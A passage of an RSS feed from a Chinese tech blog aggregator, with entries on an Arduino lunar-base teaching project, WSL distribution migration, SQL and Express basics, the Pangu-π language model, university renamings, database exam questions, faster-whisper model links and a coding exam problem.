      <description>Arduino是一个开放源码的电子原型平台，它可以让你用简单的硬件和软件来创建各种互动的项目。Arduino的核心是一个微控制器板，它可以通过一系列的引脚来连接各种传感器、执行器、显示器等外部设备。Arduino的编程是基于C/C++语言的，你可以使用Arduino IDE（集成开发环境）来编写、编译和上传代码到Arduino板上。Arduino还有一个丰富的库和社区，你可以利用它们来扩展Arduino的功能和学习Arduino的知识。&#xA;Arduino的特点是：&#xA;1、开放源码：Arduino的硬件和软件都是开放源码的，你可以自由地修改、复制和分享它们。&#xA;2、易用：Arduino的硬件和软件都是为初学者和非专业人士设计的，你可以轻松地上手和使用它们。&#xA;3、便宜：Arduino的硬件和软件都是非常经济的，你可以用很低的成本来实现你的想法。&#xA;4、多样：Arduino有多种型号和版本，你可以根据你的需要和喜好来选择合适的Arduino板。&#xA;5、创新：Arduino可以让你用电子的方式来表达你的创意和想象，你可以用Arduino来制作各种有趣和有用的项目，如机器人、智能家居、艺术装置等。&#xA;Arduino月球基地场景的主要特点：&#xA;1、模拟月球环境：Arduino月球基地场景通过使用适当的材料和技术，可以模拟月球表面的特殊环境，如低重力、极端温度、有限资源等。这样的模拟环境可以提供更真实的学习和实践体验，帮助学生更好地理解和应对未来月球探索任务中可能面临的挑战。&#xA;2、多学科交叉应用：Arduino月球基地场景涉及多个学科领域的知识和技能，如电子工程、计算机编程、机械设计等。学生可以在实践中将这些学科进行有机结合，培养跨学科思维和解决问题的能力。&#xA;3、实践性和互动性：通过使用Arduino智能展板和其他设备，学生可以进行实际的设计、构建和控制操作。他们能够亲自动手实践，编写代码、搭建电路、测试传感器等，从而增强实践能力和技术应用水平。&#xA;4、创新性和个性化：Arduino月球基地场景鼓励学生的创造力和创新思维。他们可以自主设计和改进各种设备和系统，实现个性化的功能和解决方案，从而培养创新精神和独立思考能力。&#xA;Arduino月球基地场景的核心优势：&#xA;1、低成本和易用性：Arduino开发平台具有相对较低的成本，并且易于学习和使用。它提供了简单而强大的编程工具和硬件模块，使学生能够快速入门，并进行各种实践活动。&#xA;2、开放性和社区支持：Arduino是一个开放源代码的平台，拥有庞大的用户社区和资源库。学生可以从社区中获取丰富的教程、示例代码和项目案例，与其他用户交流经验，加速学习和创新过程。&#xA;3、可扩展性和灵活性：Arduino平台可以与各种传感器、执行器和其他扩展模块进行集成，以满足不同实训需求。学生可以根据具体要求进行系统扩展和定制，实现更复杂的功能和应用。&#xA;Arduino月球基地场景的局限性：&#xA;1、硬件限制：Arduino平台的硬件资源有限，例如处理器速度、存储容量和输入输出接口等。这可能限制了一些复杂任务和高性能应用的实现。&#xA;2、专业性和深度：尽管Arduino平台提供了广泛的学习和实践机会，但在某些专业领域的深度学习和研究方面可能存在局限性。对于一些更复杂的科学实验和工程项目，可能需要更专业的硬件平台和软件工具。&#xA;3、环境模拟的限制：尽管Arduino月球基地场景可以模拟月球环境的某些特征，但在实现完全准确的模拟方面仍然存在局限性。例如，无法完全模拟月球的真实重力和气候条件。&#xA;综上所述，Arduino月球基地场景具有模拟月球环境、多学科交叉应用、实践性和互动性的特点。其核心优势在于低成本易用、开放性社区支持和可扩展性，可以满足学生的学习和实践需求。然而，Arduino平台的硬件限制、专业性和深度方面的局限性，以及环境模拟的限制，可能对某些复杂任务和专业应用造成一定的限制。因此，在设计和实施Arduino月球基地场景时，需要根据实际需求和目标权衡这些局限性，并结合其他适当的教学工具和资源，以提供更全面和深入的学习体验。&#xA;使用巡线传感器进行路径规划的月球车是一种常见的应用场景。下面我将从主要特点、应用场景和需要注意的事项三个方面进行详细解释。&#xA;主要特点：&#xA;巡线能力：巡线传感器能够检测地面上的线路，通过识别线路上的黑色或白色区域来确定行驶的方向。巡线传感器通常由多个红外线传感器组成，可以精确地跟踪线路，实现自动导航和路径规划。&#xA;精度和稳定性：巡线传感器具有较高的精度和稳定性，能够在不同光照条件下准确识别线路。传感器的设计和算法能够抵抗外部干扰，确保车辆能够准确地遵循规定的路径。&#xA;快速响应能力：巡线传感器通常具有快速响应的特点，能够实时检测并响应线路的变化。这使得月球车能够迅速适应路径上的转弯和障碍物，实现高效的路径规划和导航。&#xA;应用场景：&#xA;自动导航车辆：巡线传感器广泛应用于自动导航车辆，如地面巡线机器人、智能小车等。通过巡线传感器的路径规划，车辆可以遵循指定路径行驶，实现自主导航和避障功能。&#xA;工业自动化：在工业生产线上，巡线传感器可以用于物料搬运机器人、自动化导引车等设备。通过在地面上布置线路，巡线传感器可以帮助机器人准确地遵循指定的路径完成搬运、装配等任务。&#xA;教育和娱乐：巡线传感器也常用于教育和娱乐领域，如机器人竞赛、智能玩具等。学生和爱好者可以通过编程和操控巡线传感器来设计和控制具有自动导航能力的机器人，提高编程和创造力。&#xA;需要注意的事项：&#xA;线路设计和布置：为了确保巡线传感器的准确性和稳定性，线路设计和布置需要仔细考虑。线路应具有足够的对比度，以便传感器能够清晰地识别黑色和白色区域。此外，线路的弯曲和转角应符合车辆的转弯半径和机动性要求。&#xA;环境光照：巡线传感器对环境光照敏感，过强或过弱的光照都可能影响传感器的性能。在设计和使用过程中，应考虑使用合适的光照补偿方法，如使用光敏电阻或调节传感器的阈值，以保证传感器在不同光照条件下的正常工作。&#xA;算法优化：巡线传感器的路径规划算法对于车辆的导航性能至关重要。在实际应用中，需要根据具体情况对算法进行优化和调整，以提高路径规划的准确性和效率。&#xA;障碍物检测和避障：巡线传感器主要用于路径规划，但并不适用于障碍物检测和避障。如果月球车需要进行障碍物检测和避障，通常需要配合其他类型的传感器，如超声波传感器、红外线避障传感器或激光雷达等。这些传感器可以提供障碍物的距离和位置信息，从而实现月球车的避障功能。&#xA;动态环境处理：在使用巡线传感器进行路径规划时，需要考虑到动态环境的影响。例如，当月球车遇到移动的障碍物或其他车辆时，传感器需要能够识别并及时作出调整。这可能需要对巡线传感器的算法进行优化，以适应动态环境下的路径规划需求。&#xA;电源管理：巡线传感器在工作时需要消耗电力。在设计月球车时，需要合理管理电源，以确保传感器和其他设备的正常运行。这可能涉及到选择适当的电池容量、优化电路设计以及采取节能措施等。&#xA;总结起来，使用巡线传感器进行路径规划的月球车具有精准的巡线能力、高度稳定性和快速响应能力。它在自动导航车辆、工业自动化以及教育和娱乐等领域具有广泛的应用。然而，在实际应用中需要注意线路设计、环境光照、算法优化以及障碍物检测和避障等方面的问题，以确保月球车能够准确、安全地完成路径规划任务。&#xA;案例1：简单路径规划&#xA;#define SENSOR_PIN A0 #define THRESHOLD 500 void setup() { Serial.begin(9600); pinMode(SENSOR_PIN, INPUT); } void loop() { int sensorValue = analogRead(SENSOR_PIN); if (sensorValue &amp;lt; THRESHOLD) { // 左转 Serial.println(&#34;Turn left&#34;); } else { // 直行 Serial.</description>
    </item>
    <item>
      <title>WSL系统迁移【Ubuntu 18.04 LTS】</title>
      <link>https://bchobby.github.io/posts/23266750c7a3dd86b08214bee189e5e6/</link>
      <pubDate>Sun, 31 Dec 2023 12:43:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23266750c7a3dd86b08214bee189e5e6/</guid>
      <description>前置条件：&#xA;通过 Microsoft Store 商店安装了 WSL发行版操作系统 Ubuntu 18.04 LTS 版本&#xA;1、以管理员身份运行 PowerShell&#xA;2、wsl -l -v&#xA;关子系统&#xA;3、wsl --shutdown&#xA;导出映像&#xA;4、wsl --export Ubuntu-18.04 F:\wsl\Ubuntu-18.04.tar&#xA;卸载磁盘&#xA;5、wsl --unregister Ubuntu-18.04&#xA;导入映像&#xA;6、wsl --import Ubuntu-22.04 F:\wsl\Ubuntu-18.04 F:\wsl\Ubuntu-18.04.tar&#xA;默认用户&#xA;7、Ubuntu1804 config --default-user root</description>
    </item>
    <item>
      <title>Web数据库基本知识,SQL基本语法</title>
      <link>https://bchobby.github.io/posts/2798b09b03c0b16a81792fc5e2ed4120/</link>
      <pubDate>Sun, 31 Dec 2023 12:27:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2798b09b03c0b16a81792fc5e2ed4120/</guid>
      <description>简介 当我们谈论整个技术栈时，实际上涉及了一系列步骤，而在Web开发中，这些步骤可以被具体化为以下几个阶段：&#xA;DBMS-&amp;gt;GUI-&amp;gt;翻译器-&amp;gt;查询语言&#xA;在web中具体如下:&#xA;postgreSQL-&amp;gt;Hasura-&amp;gt;Apollo+ts-&amp;gt;GraphQL&#xA;具体解释&#xA;DBMS（数据库管理系统）： 作用： 数据库管理系统允许我们直接使用SQL语言来操作数据库。类型： 分为关系型和非关系型数据库，而在这里我们使用的是关系型数据库，具体是 postgreSQL。 GUI（图形化界面）： 作用： 为了方便可视化管理数据库，我们使用了Hasura，这是一个图形化界面，让我们更直观地管理数据库的内容。 翻译器： 原因： 因为直接使用SQL语句编程操控数据库有时候比较繁琐。具体应用： 在这个技术栈中，我们使用了Apollo，这就像一个翻译官，把我们用 TypeScript（ts） 编写的语句转换成数据库能理解的 SQL 语句。 查询语言： 作用： 为了使客户端能够按照自己的需求来获取数据，我们使用了GraphQL。特点： GraphQL 允许客户端明确地指定需要哪些数据，避免了一次性获取大量不必要的信息。 综合起来，整个技术栈的流程是这样的：我们通过图形界面 Hasura 管理 postgreSQL 数据库，通过 Apollo 翻译 TypeScript 代码为数据库理解的 SQL 语句，并最终使用 GraphQL 作为查询语言，使得客户端能够更精准地获取所需的数据。这样的架构有助于提高开发效率和灵活性。&#xA;数据库 数据库（DB）概述：&#xA;数据库是一种安装在操作系统上的软件，用于存储大量数据，其存储容量可达500万。数据库的主要作用是存储和管理数据。&#xA;数据库作用：&#xA;存储数据管理数据 数据库分类：&#xA;关系型数据库(SQL)： 类比于Excel，数据以表的形式存储，具有行和列。代表性的关系型数据库有MySQL、Oracle、SQL Server、DB2、SQLlite。数据存储通过表之间、行和列之间的关系来进行。 非关系型数据库(NoSQL - Not Only SQL)： 数据以{key: value}的形式存储，强调灵活性。代表性的非关系型数据库有Redis、MongoDB。数据存储通过对象的自身属性来决定操作，支持动态更新。 SQL 简介 SQL（Structured Query Language）是一种用于管理和操作关系型数据库管理系统（RDBMS）的特定领域语言。它是一种标准化的语言，用于定义和操作关系型数据库中的数据。SQL允许用户执行诸如查询数据、插入新数据、更新现有数据和删除数据等操作。&#xA;分为四种&#xA;DDL：数据库定义语言（define）DML：数据库操作管理语言（manage）DQL：数据库查询语言（query）DCL：数据库控制语言（control） DDL 数据库 创建&#xA;create database [if not exists] new; 删除</description>
    </item>
    <item>
      <title>express的基础使用,利用postman模拟后端路由</title>
      <link>https://bchobby.github.io/posts/a2c2b36e83c41be40a30e3c9343fb235/</link>
      <pubDate>Sun, 31 Dec 2023 12:25:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2c2b36e83c41be40a30e3c9343fb235/</guid>
      <description>简介 Node.js 使 JavaScript\TypeScript 脚本能够脱离浏览器环境在服务端（后端）运行（实际上是对 Chrome V8 引擎进行了封装），为我们开发后端提供了一种选项。不像前端有统一的浏览器标准，如果不遵循的话浏览器就没法正常显示；后端的开发相对就自由许多，开发语言有很多选项，如 Java，PHP，python，C，Go 等，我们科协网站采用的是 TypeScript 语言，有关 TypeScript 的知识在之前课程当中已有介绍。&#xA;如想自己动手建立一个简单后端，理论上只需调用 http-server 之类的库就能接收和发送 http 请求了。尽管这些库已经帮我们处理了很多底层问题，但是要想实现复杂一些的功能还是相当麻烦的。Express 是一个基于 Node.js 的开源框架，把接收和发送 http 请求进行了更高级别、更用户友好的封装。官网上称其“快速、开放、极简”，表明 Express 在保证性能的同时，代码书写非常容易且是开源的。它能够使用开发者所选择的各种 http 实用工具和中间件，快速方便地创建强大的 API。&#xA;配置环境 安装express 使用yarn来安装,如下&#xA;yarn init#取号名字,一路默认 yarn add express 准备工作 在刚才创建的安装有 Express 的工作目录当中，我们新建一个文件夹 src，用于保存源码，并在其中新建入口文件 app.ts。然后在其中导入 Express 包并创建 Express 类的实例：&#xA;import express from &#34;express&#34;; // 导入Express包 const app = express(); // 创建Express类的实例 这样导入的 Express 包是 JavaScript 编写的，缺乏 TypeScript 语法所要求的类型声明文件，因此会在 import 那一行出现提醒。我们可以使用如下命令安装类型声明：&#xA;yarn add @types/express --dev 安装完成后，我们看到提醒已经消除。</description>
    </item>
    <item>
      <title>【NLP】挑战Transformer，华为诺亚新架构盘古π来了，已有1B、7B模型</title>
      <link>https://bchobby.github.io/posts/ef2ea252c0d82d67a88478e3142676de/</link>
      <pubDate>Sun, 31 Dec 2023 12:01:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef2ea252c0d82d67a88478e3142676de/</guid>
      <description>机器之心编辑部&#xA;5 年前，Transformer 在国际神经信息处理大会 NeurIPS 2017 发表，后续其作为核心网络架构被广泛用于自然语言处理和计算机视觉等领域。&#xA;1 年前，一项重大的创新引起了人们的广泛关注，那就是 ChatGPT。这个模型不仅能够执行复杂的 NLP 任务，还能以人类对话的方式与人类进行互动，产生了深远的影响。&#xA;1 年以来，“百模大战” 在业界激烈开展，诞生了如 LLaMA、ChatGLM 和 Baichuan 等开源大模型，推动了 LLM 领域的快速发展。除了通用 LLM，为了支撑更多行业的应用和商业变现，很多行业垂域大模型也涌现出来，特别是金融、法律和医疗等领域尤为活跃。&#xA;开发一个卓越的 LLM，就如同进行一项复杂的系统工程，其中包括数据准备、数据清理、模型架构设计、集群通信以及优化器的选择。在 2022-2023 年的最新项目中，大部分大模型都是基于标准的 Transformer 架构进行开发，主要在数据工程、训练策略上进行不同的优化。模型架构设计，作为其中至关重要的一环，决定了 LLM 的最大性能潜力，并没有在业界引起足够的重视。&#xA;近日，来自华为诺亚方舟实验室、北京大学等机构的研究者提出了盘古 π 的网络架构，尝试来构建更高效的大模型架构。 论文链接：http://dx.doi.org/10.13140/RG.2.2.34314.64966&#xA;在这篇工作中，作者发现特征坍塌问题影响着这些精心设计的 Transformer 架构的表达能力。以 LLaMA 为例，作者通过实证分析，在 Transformer 更深层中，特征的秩显著降低，导致所有 token 之间的相似性增加，这极大地降低了 LLM 的生成质量和多样性。作者还从理论上分析了 Transformer 架构中的特征坍塌问题和非线性的关系，发现非线性对 Transformer 模型的能力有重大影响。增强非线性可以有效地缓解特征坍塌的问题，并提高 Transformer 模型的表达能力。因而该工作从非线性的角度出发，构建更强大的 LLM 架构。&#xA;该工作中，作者带来了一项革新性的突破，引入了一种名为盘古 π 的全新 LLM 架构，来解决特征坍塌问题。这一架构通过在 FFN 和 MSA 模块中引入更多的非线性，从两个方面增强了模型的非线性，而不会显著增加模型的复杂性。首先，作者在 FFN 中引入了基于级数的激活函数，这一函数带有多个可学习的仿射变换，能有效地增强整个网络的非线性，同时计算量很小。然后，作者对每个 MSA 模块的主分支和增强型短路进行并行处理，以避免特征秩的坍塌。为了保持模型效率，作者还精心优化了增强型短路操作，使其更适合硬件实现。作者还证明了这两种操作的叠加可以增强非线性补偿。通过这两个新模块，可以在相同规模的参数下实现显著的效率提升。基于带有级数激活函数的 FFN 和短路增强的 MSA，该工作构建了盘古 π 架构。</description>
    </item>
    <item>
      <title>博士推荐：大模型时代的学习工具箱！</title>
      <link>https://bchobby.github.io/posts/3fd2646435a8f8a347f69febae9e75b7/</link>
      <pubDate>Sun, 31 Dec 2023 12:01:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fd2646435a8f8a347f69febae9e75b7/</guid>
      <description> 深度学习大模型是指由数百万、甚至数十亿个参数组成的神经网络模型，可以处理大规模的数据集，并且具有非常强的学习能力和泛化能力。大模型的优势包括更强的学习能力、更好的泛化能力以及更高效的计算能力。这些模型可以应用于各种领域，今天给大家推荐10个原创公众号，这些公众号定期会发些高质量原创，希望可以让你更高效的了解和学习。&#xA;3D算法初学者&#xA;多名大厂算法工程师共同运营，主要专注计算机视觉、3D视觉、SLAM、三维点云处理等领域技术干货分享，同时也会分享机器学习、深度学习和数字图像处理等基础干货。&#xA;点击上方名片可关注&#xA;机器学习算法与Python实战&#xA;机器学习算法与Python实战，号主是华科统计学硕士，现为金融科技公司数据分析师，有着丰富的项目经验。号主有200余篇原创文章，内容涵盖统计学、数据分析、机器学习、深度学习、Python实战，《100天搞定机器学习》专栏已更新至第62天，定期整理相关的免费学习资源。&#xA;点击上方名片可关注&#xA;深度学习与达模型LLM&#xA;大火了5年的图神经网络你有了解过吗？深度学习与图网络公众号专注深度学习，图神经网络的干货内容，日常分享一些前沿的技术，包括深度学习、图神经网络技术、ICML/NeurIPS/ICLR最新前沿论文海内外博士找教职，大厂找工作等海内外硕博招生，内容有点硬核，欢迎关注。&#xA;点击上方名片可关注 深度学习基础与进阶&#xA;专注于机器学习，深度学习以及计算机视觉等研究方向，每天会更新人工智能最前沿知识和分享自己的论文总结和学习笔记，让你系统化的学习每个知识点，每天进步一点点。&#xA;点击上方名片可关注&#xA;数据STUDIO&#xA;‍☠️宝藏级‍☠️ 原创公众号 『数据STUDIO』，内容超级硬核，近一年内持续分享170+篇超高质量原创干货。公众号以Python为核心语言，垂直于数据科学领域，包括 Python｜MySQL ｜数据分析｜可视化｜机器学习与数据挖掘｜爬虫等相关知识，从入门到进阶！关注后回复【福利】，领取见面礼！&#xA;点击上方名片可关注&#xA;kaggle竞赛宝典&#xA;【Kaggle竞赛宝典】大数据竞赛必备手册，汇集各种黑科技和上分技巧，以及上百竞赛Top方案。&#xA;点击上方名片可关注 深度学习初学者&#xA;号主是知名985高校计算机硕士，现为腾讯人工智能算法工程师，为读者提供计算机视觉、自然与语言处理和推荐系统等人工智能领域最前沿和最经典的知识，让你的学习不再碎片化。&#xA;点击上方名片可关注 机器学习初学者&#xA;致力于为机器学习初学者提供学习路线和基础资料，含慕课和代码、教案等，建议收藏！&#xA;点击上方名片可关注 </description>
    </item>
    <item>
      <title>盘点国内5所“改名”最成功大学，名字改变命运！</title>
      <link>https://bchobby.github.io/posts/20745368ca454aea3a7f9b315be74f0b/</link>
      <pubDate>Sun, 31 Dec 2023 12:01:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20745368ca454aea3a7f9b315be74f0b/</guid>
      <description>众所周知，清华大学的老校长梅贻琦曾有过一句名言：“所谓大学者，非谓有大楼之谓也，有大师之谓也。”这句话至今仍被广大教育工作者奉为圭臬。但时代在变，大学的定义也在不断地扩展。除了大师、科研、学科等核心要素外，一个响亮、悦耳、有特色的名字也逐渐成为大学追求的新“标配”。&#xA;为什么大学的名字如此重要？因为它不仅代表着学校的办学定位、特色、影响力，更在无形中影响着学校的资源获取和社会认知。一个好的名字，就像一块金字招牌，能够吸引更多的优质生源和师资力量，进一步提升学校的综合实力。&#xA;近年来，越来越多的大学开始重视校名的包装和打造。它们或通过改名来重新定位自己，或借助新名字来提升自己的社会影响力。今天，我们就来盘点一下那些改名最成功的5所大学，看看它们是如何借助好名字实现“华丽转身”的。&#xA;1. 中国海洋大学&#xA;中国海洋大学，位于中国山东省青岛市，1958还叫山东海洋学院，是与山东大学并列的教育部直属重点综合性大学。&#xA;1988年，山东海洋学院升格大学，更名青岛海洋大学，1994年进入首批211工程序列。2002年，青岛海洋大学更名为中国海洋大学，正式成为国字号大学，开始全面建设高水平特色大学的新征程，也在这时，中国海洋大学正式入选985大学。2017年9月，中国海洋大学入选国家“双一流”建设高校。&#xA;2020年11月，中国海洋大学位列《QS亚洲大学排名2021》榜单第281-290位，同年12月，位列2021年U.S.News世界大学排名779位。2021年1月，中国海洋大学排名中国内地大学ESI第65位，同年8月，位列2021世界大学学术排名301-400位。&#xA;2. 西南医科大学&#xA;西南医科大学，前身是位于四川省泸州市的泸州医学专科学校。&#xA;1978年，泸州医专升本，更名为泸州医学院。为了提高生源质量、扩大知名度，2015年，泸州医学院改名四川医科大学，学院到大学、泸州到四川的变化给学校带来知名度的大幅提升。&#xA;但是改名不到一年（据说校名还没做好），因为其简称“川医大”与原四川医学院“川医”对冲，遭到原四川大学华西医学中心老校友反对，被迫再次改名。结果是，2015年12月，学校经教育部批准改名西南医科大学。从四川到西南，强扭的瓜没想到更甜了。&#xA;改名西南医科大学后，学校录取分数线年年攀升。目前，学校拥有一级学科硕士学位授权点7个、专业学位授权点9个、一级学科博士学位授权点1个。临床医学、药理学与毒理学进入ESI全球排名前1%，其中临床医学在ESI全球排名前1%机构中位列45.21%。&#xA;3. 南京财经大学&#xA;南京财经大学，原本是1956年粮食部在南京建立的南京粮食学校，这校名现在听起来是不是和财经八竿子打不着。&#xA;1981年，学校更名南京粮食经济学院，开始与经济发生了关系。为了谋求招生和更大发展，1993年学校在姓名层面剔除“谷物”基因，改名南京经济学院，算是彻底走上了“发财路”。&#xA;高校合并浪潮后，学校大力开设财经专业，并在2003年经教育部批准正式改名为南京财经大学。&#xA;从一所不择不扣的专科院校到南京财经大学，最后这次更名让南京财经大学彻底成为报考热门，分数甚至超过211，也被称为江苏改名最成功的大学。&#xA;南京财经大学现已成为一所以经济管理类学科为主，经济学、管理学、法学、工学、理学、文学、艺术学等多学科支撑配套、协调发展的江苏省属重点建设大学。&#xA;4. 江西理工大学&#xA;江西理工大学创办于1958年，原名江西冶金学院，1988年更名为南方冶金学院。&#xA;2000年1月，原江西省商业技工学校并入南方冶金学院，成为南方冶金学院西校区。2002年南昌有色金属学校撤销，正式成为南方冶金学院南昌校区。2004年，学校正式更名为江西理工大学。因为这次改名，学校一跃成为省内第五。&#xA;目前，江西理工大学是一所以工学为主，理工结合，管理学、经济学、法学、文学、艺术学、教育学等多学科协调发展的教学研究型大学，是我国有色金属工业和钢铁工业重要的人才培养和科研基地，被誉为“有色冶金人才摇篮”；是江西省优势特色学科建设工程一流学科建设高校，入选卓越工程师教育培养计划（2011），也正在积极筹备医学学院。&#xA;5. 山东第一医科大学&#xA;山东第一医科大学，前身可追溯到1891年的华美医院医校。1903年，在原校基础上组建共合医道学堂，成为齐鲁大学医学院，1970年与山东中医学院合并为山东医学院。&#xA;1979年改名为山东医学院泰安分院，1980年经国务院批准更名为泰山医学院。2018年5月，经第七届全国高校设置评议委员会专家考察和评议，泰山医学院、山东省医学科学院为基础拟改名山东第一医科大学。2019年4月7日，学校正式更名山东第一医科大学。&#xA;细数山东第一医科大学的改名史，几乎可以写一本小册子，也算是折腾出的“第一”。因为“山东”的省标签和“第一”的title，山东第一医科大学名气大增，甚至被不少人误认为是985、211。&#xA;山东第一医科大学是教育部、国家卫健委第一批临床医学硕士专业学位研究生培养模式改革试点高校，教育部首批“中外高水平大学学生交流计划”入选高校，山东省重点大学建设计划入选高校，山东特色名校工程立项建设单位。&#xA;还有哪些大家认为通过改名实现“逆天改命”的大学呢，欢迎大家留言讨论哦。&#xA;来源：学术志&#xA;转自：募格学术&#xA;精彩回顾 适合初学者入门人工智能的路线及资料下载&#xA;(图文+视频)机器学习入门系列下载&#xA;机器学习及深度学习笔记等资料打印&#xA;《统计学习方法》的代码复现专辑&#xA;交流群 欢迎加入机器学习爱好者微信群一起和同行交流，目前有机器学习交流群、博士群、博士申报交流、CV、NLP等微信群，请扫描下面的微信号加群，备注：”昵称-学校/公司-研究方向“，例如：”张小明-浙大-CV“。请按照格式备注，否则不予通过。添加成功后会根据研究方向邀请进入相关微信群。请勿在群内发送广告，否则会请出群，谢谢理解~（也可以加入机器学习交流qq群772479961）</description>
    </item>
    <item>
      <title>数据库复试简答题汇总</title>
      <link>https://bchobby.github.io/posts/de8d7d78f41cb4d0d37999b932fc0947/</link>
      <pubDate>Sun, 31 Dec 2023 11:48:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de8d7d78f41cb4d0d37999b932fc0947/</guid>
      <description>数据库管理系统的主要功能是什么？&#xA;答：&#xA;数据定义、数据操纵、数据库的运行管理、数据库建立和维护&#xA;数据库系统的特点是什么？&#xA;答：&#xA;数据结构化；&#xA;数据共享性高、冗余度低且扩充；&#xA;数据独立性高；&#xA;数据由DBMS统一管理。&#xA;DBA的职责是什么？&#xA;答：&#xA;DBA负责全面管理和控制数据库系统的职责，具体有：&#xA;(1)决定数据库中要存放哪些信息；&#xA;(2)决定数据库的存储结构和存取策略；&#xA;(3)定义数据的安全性要求和完整性约束条件；&#xA;(4)监控数据库的使用和运行：转储数据、维护日志文件、故障恢复&#xA;(5)数据库的改进和重组重构：对运行情况进行记录、统计分析，以此来不断改进数据库设计。&#xA;和文件系统相比,数据库文件有什么优点？&#xA;答：&#xA;文件系统 数据库管理系统&#xA;文件系统管理 DBMS管理&#xA;面向某一应用 面向现实世界&#xA;共享性差,冗余度大 共享性高,冗余度小&#xA;独立性差 具有较高的物理独立性和逻辑独立性&#xA;记录内有结构,整体无结构 整体结构化,用数据模型描述&#xA;应用程序自己控制 由数据库管理系统提供数据安全性,完整性,并发控制和恢复能力&#xA;三级模式结构是什么？二级映射有什么优点？&#xA;答：&#xA;三级模式包括外模式、模式、内模式；&#xA;模式描述了数据库中全体数据的逻辑结构和特征；&#xA;外模式描述了用户可见的局部数据的逻辑结构和特征；&#xA;内模式描述了数据库的物理结构和存储方式。&#xA;外模式/模式映像的优点：当模式改变时，由DBA对外模式/模式映像做相应的改变，外模式可以保持不变。应用程序是根据外模式而编写的，因而应用程序不必修改，保证了数据与逻辑的而独立性，即数据的逻辑独立性；&#xA;内模式/模式映像的优点：当数据库的存储结构改变时，由DBA对模式/内模式映射作相应的改变，可以使模式保持不变，从而应用程序也不必改变。保证了数据与程序的物理独立性，即数据的物理独立性。&#xA;关系模型中的完整性约束是哪几类？定义？&#xA;答：&#xA;实体完整性：关系模式中的主码不能为空值；&#xA;参照完整是：关系模式中的外码只能是空值或者另一关系模式的主码；&#xA;用户定义完整性：关系模式中针对某一属性的约束。&#xA;SQL的特点？&#xA;答：&#xA;综合统一。集DCL，DML，DDL功能于一体；&#xA;高度非过程化。使用SQL进行数据操作时，是需要提出“做什么”，而不需要指明怎么做；&#xA;面向集合的操作方式。操作的对象、查找结果都可以是元组的集合；&#xA;同一种语法结构提供多种使用方式。既可以作为独立的语言进行交互，又可以作为嵌入式语言嵌入到更高级的语言程序中进行操作；&#xA;语言简洁，易学易用。&#xA;什么是数据库操纵语言、什么是数据库控制语言,试举例说明&#xA;答：&#xA;数据操纵语言是指通过对表中的数据进行插入、删除和修改等操作，实现对数据库的基本操作。如：SELECT命令的作用是检查表的内容，UPDATE命令的作用是修改表等等。&#xA;数据控制语言是用来设置或者更改数据库用户或角色权限的语句，这些语句包括GRANT、REVOKE等语句。&#xA;*等值连接和自然连接的区别是什么？&#xA;答：&#xA;自然连接是等值连接的一种特殊情况；&#xA;等值连接要求连接的是值相等的分量，两个关系中可以没有相同的属性；进行自然连接的两个关系中必须有相同的属性。&#xA;等值连接不要求去掉重复属性列；自然连接时需要除掉重复的属性列。&#xA;*外连接是什么？&#xA;答：&#xA;外连接是指两个表在进行操作时，不仅返回符合连接和查询条件的元组，还返回不符合条件的一些元组；&#xA;左外连接是指返回左表中仅符合连接条件不符合查询条件的元组；&#xA;右外连接是指返回右表中仅符合连接条件不符合查询条件的元组；&#xA;全外连接是左外连接和右外连接去掉重复项的元组集并集。&#xA;索引的作用？和它的优点缺点是什么？</description>
    </item>
    <item>
      <title>[语音识别]开源语音识别faster-whisper模型下载地址</title>
      <link>https://bchobby.github.io/posts/2a1f1be281365ead81dac922a3fb6e02/</link>
      <pubDate>Sun, 31 Dec 2023 11:33:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a1f1be281365ead81dac922a3fb6e02/</guid>
      <description>官方源码：&#xA;https://github.com/SYSTRAN/faster-whisper&#xA;模型下载地址：&#xA;large-v3模型：https://huggingface.co/Systran/faster-whisper-large-v3/tree/main&#xA;large-v2模型：https://huggingface.co/guillaumekln/faster-whisper-large-v2/tree/main&#xA;large-v2模型：https://huggingface.co/guillaumekln/faster-whisper-large-v1/tree/main&#xA;medium模型：https://huggingface.co/guillaumekln/faster-whisper-medium/tree/main&#xA;small模型：https://huggingface.co/guillaumekln/faster-whisper-small/tree/main&#xA;base模型：https://huggingface.co/guillaumekln/faster-whisper-base/tree/main&#xA;tiny模型：https://huggingface.co/guillaumekln/faster-whisper-tiny/tree/main</description>
    </item>
    <item>
      <title>华为OD机试真题-最长的指定瑕疵度的元音子串-2023年OD统一考试（C卷）</title>
      <link>https://bchobby.github.io/posts/8cc890025548054aa332ac2658e786e3/</link>
      <pubDate>Sun, 31 Dec 2023 11:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cc890025548054aa332ac2658e786e3/</guid>
      <description>题目描述：&#xA;开头和结尾都是元音字母（aeiouAEIOU）的字符串为 元音字符串 ，其中混杂的非元音字母数量为其 瑕疵度 。比如:&#xA;· “a” 、 “aa”是元音字符串，其瑕疵度都为0&#xA;· “aiur”不是元音字符串（结尾不是元音字符）&#xA;· “abira”是元音字符串，其瑕疵度为2&#xA;给定一个字符串，请找出指定瑕疵度的最长元音字符子串，并输出其长度，如果找不到满足条件的元音字符子串，输出0。&#xA;子串：字符串中任意个连续的字符组成的子序列称为该字符串的子串。&#xA;输入描述：&#xA;首行输入是一个整数，表示预期的瑕疵度flaw，取值范围[0, 65535]。&#xA;接下来一行是一个仅由字符a-z和A-Z组成的字符串，字符串长度(0, 65535]。&#xA;输出描述：&#xA;输出为一个整数，代表满足条件的元音字符子串的长度。&#xA;补充说明：&#xA;示例&#xA;示例1&#xA;输入：&#xA;0 asdbuiodevauufgh 输出：&#xA;3 说明：&#xA;满足条件的最长元音字符子串有两个，分别为uio和auu，长度为3。&#xA;示例2&#xA;输入：&#xA;2 aeueo 输出：&#xA;0 说明：&#xA;没有满足条件的元音字符子串，输出0&#xA;示例3&#xA;输入：&#xA;1 aabeebuu 输出：&#xA;5 说明：&#xA;满足条件的最长元音字符子串有两个，分别为aabee和eebuu，长度为5</description>
    </item>
    <item>
      <title>Android14新特性 开启前台service服务</title>
      <link>https://bchobby.github.io/posts/3fab3c520ad6066284f3bae737175d2c/</link>
